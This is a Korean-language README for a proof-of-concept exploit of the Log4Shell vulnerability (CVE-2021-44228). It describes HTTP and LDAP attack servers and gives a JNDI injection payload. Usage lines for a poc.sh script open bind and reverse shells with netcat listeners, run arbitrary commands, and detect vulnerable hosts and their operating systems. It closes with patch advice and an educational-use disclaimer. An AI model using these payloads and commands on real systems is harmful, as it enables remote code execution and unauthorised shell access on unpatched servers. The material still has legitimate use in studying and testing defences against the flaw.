
CVE-2021-44228에 대한 PoC입니다.
교육 목적으로만 제작된 프로젝트입니다.
이 프로젝트는 http와 ldap 두 개의 서버를 생성합니다. 익스플로잇이 작동하려면 둘 다 필요합니다. 지정된 Java 파일은 컴파일되며 서버는 Dockerfile에서 시작됩니다. 페이로드가 사용자에게 표시되며, 취약한 애플리케이션에 전달해야 합니다.
페이로드 예시:
${jndi:ldap//127.0.0.1:1389/a}
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'
프로그램을 25초 동안 지연시킵니다.
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444
OS 탐지는 4개의 문자를 반환할 수 있습니다:
L은 Linux를 의미합니다.W는 Windows를 의미합니다.M은 MacOS를 의미합니다.U는 알 수 없음을 의미합니다.우회 기법이 공개되었습니다. 예시는 여기를 참조하세요.
이 앱은 작동 방식을 보여주기 위해 설계되었습니다. 앱이 포함된 jar를 빌드하고 실행하려면 다음을 사용하세요:
./build_vuln_app.sh
java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'
여기서 PAYLOAD는 ./poc.sh 스크립트에서 반환된 값입니다 (예: ${jndi:ldap://127.0.0.1:1389/1}).
이 익스플로잇 제작 중 사용된 프로젝트 및 웹사이트에 대한 크레딧:
log4j2.formatMsgNoLookups를 true로 설정한 log4j를 사용하여 앱을 시작하거나 log4j-2.15.0-rc1 이상으로 업데이트하세요. 업데이트는 이미 배포되어 있습니다. 가능한 한 빨리 적용하세요.
이 프로젝트는 교육 목적으로만 사용할 수 있습니다. 사전 허가 없이 대상 시스템에 이 소프트웨어를 사용하는 것은 불법이며, 이 소프트웨어의 오용으로 인한 어떤 손해도 작성자의 책임이 아닙니다.